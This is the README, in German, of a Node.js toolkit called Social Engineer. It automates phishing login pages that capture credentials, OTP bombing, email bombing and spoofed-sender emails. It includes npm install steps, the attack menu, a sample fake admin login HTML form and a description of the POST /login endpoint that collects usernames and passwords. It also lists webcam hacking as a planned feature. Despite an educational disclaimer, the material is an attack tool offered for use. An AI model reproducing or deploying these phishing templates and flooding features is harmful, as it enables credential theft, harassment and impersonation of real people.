SOCIAL ENGINEER 🎯🕵️‍♂️

Ein leistungsstarkes Social-Engineering-Toolkit, das Phishing, OTP-/E-Mail-Bombing, Fake-Mails und mehr automatisiert – mit ❤️ erstellt von @karthithehacker

⚠️ Nur für Bildungszwecke. Verwenden Sie dieses Tool nicht gegen jemanden ohne ausdrückliche Genehmigung.

---

📌 Funktionen

• 🎯 Phishing-Angriffe – Simuliert gefälschte Anmeldeseiten, um Zugangsdaten zu stehlen
• 🔢 OTP-Bombing – Überflutet eine Zielnummer mit OTP-Anfragen
• 📩 E-Mail-Bombing – Massenhaftes E-Mail-Versenden, um Postfächer zu stören
• 📧 Fake-E-Mail senden – Benutzerdefinierter gefälschter E-Mail-Absender
• ❌ Beenden – Beendet das Toolkit sauber

(Die Keylogger- und IP-Wechsler-Optionen wurden im JavaScript-Port entfernt.)

---

💻 Technologie-Stack

• Sprache: Node.js (JavaScript)
• Verwendete Bibliotheken:
  • axios
  • chalk
  • ora
  • socket.io
  • uuid

---

🗂️ Projektstruktur

SocialEngineering/
├── AttackModes/
│   ├── emailBombing.js
│   ├── emailspoofing.js
│   ├── otpBombing.js
│   ├── provider.js
│   └── … (other helpers)
├── includes/
│   ├── banner.js
│   ├── dbgateway.js
│   ├── menu.js
│   ├── phishing.js
│   └── utils.js
├── db/
│   └── Socialengineering-db.json
├── SocialEngineering.js        # main CLI entry
├── package.json
└── README.md

---

🚀 Verwendung

🔧 Installation

1. Klonen Sie das Repository:

npm install socialengineering -g

📌 Ausführen des Tools

SocialEngineering

Beispielmenü:

███████╗ ██████╗  ██████╗██╗ █████╗ ██╗
██╔════╝██╔═══██╗██╔════╝██║██╔══██╗██║
███████╗██║   ██║██║     ██║███████║██║
╚════██║██║   ██║██║     ██║██╔══██║██║
███████║╚██████╔╝╚██████╗██║██║  ██║███████╗
╚══════╝ ╚═════╝  ╚═════╝╚═╝╚═╝  ╚═╝╚══════╝

███████╗███╗   ██╗ ██████╗ ██╗███╗   ██╗███████╗███████╗██████╗ ██╗███╗   ██╗ ██████╗
██╔════╝████╗  ██║██╔════╝ ██║████╗  ██║██╔════╝██╔════╝██╔══██╗██║████╗  ██║██╔════╝
█████╗  ██╔██╗ ██║██║  ███╗██║██╔██╗ ██║█████╗  █████╗  ██████╔╝██║██╔██╗ ██║██║  ███╗
██╔══╝  ██║╚██╗██║██║   ██║██║██║╚██╗██║██╔══╝  ██╔══╝  ██╔══██╗██║██║╚██╗██║██║   ██║
███████╗██║ ╚████║╚██████╔╝██║██║ ╚████║███████╗███████╗██║  ██║██║██║ ╚████║╚██████╔╝
╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝

                                                           Website: cappriciosec.com
            Main Menu             
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ No. ┃ Option                     ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1   │ 🎯 Start Phishing Attack   │
│ 2   │ 📲 OTP Bombing             │
│ 3   │ 📩 Email Bombing           │
│ 4   │ 📧 Send Fake Email         │
│ 0   │ ❌ Quit                    │
└━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┘
👉 Select an option: 

---

🔧 Hinweise

• Der Phantom-Ordner templates/ wird vom Phishing-Modul verwendet; Sie können neue Vorlagen gemäß der folgenden Struktur hinzufügen:

  
  ~/SocialEngineering-Templates/
     ├── yourtemplatename/
         ├── index.html
         └── index.css
  

• Der Phishing-Server stellt die Dateien aus der ausgewählten Vorlage bereit und erfasst Zugangsdaten über /login.

---

🧪 Beispiel einer gefälschten Login-Vorlage (HTML)

index.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>XYZ Admin Login</title>
      <link rel="stylesheet" href="index.css">
    </head>
    <body>
      <form action="/login" method="post" class="login-box">
        <h2>Login</h2>
        <input type="text" name="username" placeholder="Username or Email" required>
        <input type="hidden" name="type" value="xyz"></input>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
        <div class="note">fake template</div>
      </form>
    </body>
    </html>

📡 Phishing-Portal-Endpunkt

Der Endpunkt login.php empfängt Zugangsdaten von gefälschten Anmeldeseiten (Vorlagen). Wenn ein Benutzer das Anmeldeformular absendet, erfasst der Server die folgenden Parameter:

📥 POST /login

Parameter	Typ	Beschreibung
username	string	Erforderlich. Vom Benutzer eingegebener Benutzername oder E-Mail
password	string	Erforderlich. Vom Benutzer eingegebenes Passwort
type	string	Erforderlich. Vom Entwickler festgelegter Vorlagenname

---

🔮 Geplante Funktionen

Bald verfügbar:

• 📞 Gefälschter IVR-Anruf
• 🛠️ Einstellungen / Konfigurationsmenü
• 🎥 Webcam-Hacking

---

👨‍💻 Autor

• Website: karthithehacker.com
• GitHub: @karthi-the-hacker

---

⚠️ Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungs- und ethische Zwecke bestimmt. Verwenden Sie es nicht, um Ziele ohne vorherige Zustimmung anzugreifen. Der Entwickler übernimmt keinerlei Verantwortung für Missbrauch oder illegale Aktivitäten.